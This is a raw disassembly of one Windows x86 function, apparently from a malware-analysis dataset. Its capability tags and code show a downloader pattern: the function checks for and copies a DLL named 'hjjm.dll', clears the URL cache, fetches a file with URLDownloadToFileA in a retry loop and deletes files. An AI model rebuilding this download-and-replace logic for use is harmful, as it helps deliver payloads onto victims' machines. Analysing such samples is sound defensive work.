Function at 0x403840
Capabilities:
Access peb ldr_data
Check if file exists
Copy file
Delete file
Download url
Get number of processors
Receive data

Disassembly:
push 0xffffffffffffffff
push 0x488998
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4b47a8]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov edi, ecx
push str.hjjm.dll
lea eax, [esp + 0x24]
push 0x4b9120
push eax
call fcn.00406070
mov eax, dword [eax]
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
add esp, 0xc
push eax
call ebx
mov esi, eax
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4038ad
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test esi, esi
jne 0x4039a7
push str.hjjm.dll
lea ecx, [esp + 0x24]
push 0x4b90c8
push ecx
call fcn.00406070
mov eax, dword [eax]
add esp, 0xc
push eax
call ebx
mov esi, eax
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4038f3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test esi, esi
je 0x4039c0
push str.hjjm.dll
lea ecx, [esp + 0x20]
push 0x4b9120
push ecx
call fcn.00406070
mov esi, eax
push str.hjjm.dll
lea edx, [esp + 0x30]
push 0x4b90c8
push edx
mov dword [esp + 0x50], 0
call fcn.00406070
mov esi, dword [esi]
mov eax, dword [eax]
add esp, 0x18
push 1
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403960
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x38], 0xffffffff
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403988
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test esi, esi
je 0x4039c0
call fcn.0044eb98
test eax, eax
je 0x4039a7
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x74]
call eax
test eax, eax
je 0x4039a7
call fcn.0041cd30
mov eax, 1
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret
call fcn.0044d630
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4039da
push 0x80004005
call fcn.00401db0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x18], eax
mov esi, 1
mov dword [esp + 0x38], esi
call fcn.0044d630
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x403a0d
push 0x80004005
call fcn.00401db0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x1c], eax
mov byte [esp + 0x38], 2
call fcn.0044d630
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x403a3c
push 0x80004005
call fcn.00401db0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x14], eax
lea ecx, [edi + 0x30]
push ecx
mov byte [esp + 0x3c], 3
lea ecx, [esp + 0x20]
mov dword [esp + 0x24], esi
call fcn.00406820
mov edx, dword [edi + 0x34]
lea esi, [esp + 0x1c]
lea edi, [esp + 0x24]
mov dword [esp + 0x2c], edx
call fcn.00402f80
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x3c], 4
call fcn.00406820
mov byte [esp + 0x38], 3
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403aaa
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push str..fff
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x2c]
push edx
call fcn.00406070
add esp, 0xc
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x3c], 5
call fcn.00406820
mov byte [esp + 0x38], 3
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403af5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov esi, dword [esp + 0x14]
push esi
call ebx
test eax, eax
je 0x403b07
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov ebx, dword [esp + 0x1c]
push ebx
call esi
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x28]
push 0x4b90c8
push edx
call fcn.00405fb0
mov eax, dword [eax]
add esp, 0xc
push 0
push 0
push eax
push ebx
push 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
mov eax, dword [esp + 0x24]
setne bl
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403b67
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
je 0x403bbb
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x2c]
push 0x4b90c8
push edx
call fcn.00405fb0
mov eax, dword [eax]
add esp, 0xc
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403bab
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x64
call ebp
add edi, 1
cmp edi, 3
jl 0x403b15
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x2c]
push 0x4b90c8
push edx
call fcn.00405fb0
add esp, 0xc
mov byte [esp + 0x38], 6
mov ebx, dword [esp + 0x2c]
push eax
call fcn.00403770
test eax, eax
mov byte [esp + 0x38], 3
mov eax, dword [esp + 0x28]
sete bl
add eax, 0xfffffff0
or edi, 0xffffffff
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403c0d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
je 0x403cd3
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x30]
push 0x4b90c8
push edx
call fcn.00405fb0
mov eax, dword [eax]
add esp, 0xc
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403c54
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x38], 2
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403c78
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x38], 1
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403c9c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x38], edi
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edi
dec edi
test edi, edi
jg 0x403cbd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret
push 0x64
call ebp
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x2c]
push 0x4b9120
push edx
call fcn.00405fb0
mov esi, eax
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x3c]
push 0x4b90c8
push ecx
mov byte [esp + 0x50], 7
call fcn.00405fb0
mov esi, dword [esi]
mov eax, dword [eax]
add esp, 0x18
push 1
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
mov ecx, edi
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x403d38
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x38], 3
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403d5c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test esi, esi
je 0x403d7d
call fcn.0044eb98
test eax, eax
je 0x403d85
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x74]
call eax
test eax, eax
je 0x403d85
call fcn.0041cd30
jmp 0x403d85
mov dword [esp + 0x20], 0
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x2c]
push 0x4b90c8
push edx
call fcn.00405fb0
mov esi, eax
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x3c]
push 0x4b90c8
push ecx
mov byte [esp + 0x50], 8
call fcn.00405fb0
mov esi, dword [esi]
mov eax, dword [eax]
push esi
push eax
call fcn.0046955f
mov eax, dword [esp + 0x4c]
add eax, 0xfffffff0
add esp, 0x20
lea edx, [eax + 0xc]
mov ecx, edi
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x403de1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x38], 3
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403e05
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x38], 2
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403e29
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x38], 1
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403e4d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x38], edi
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edi
dec edi
test edi, edi
jg 0x403e6e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret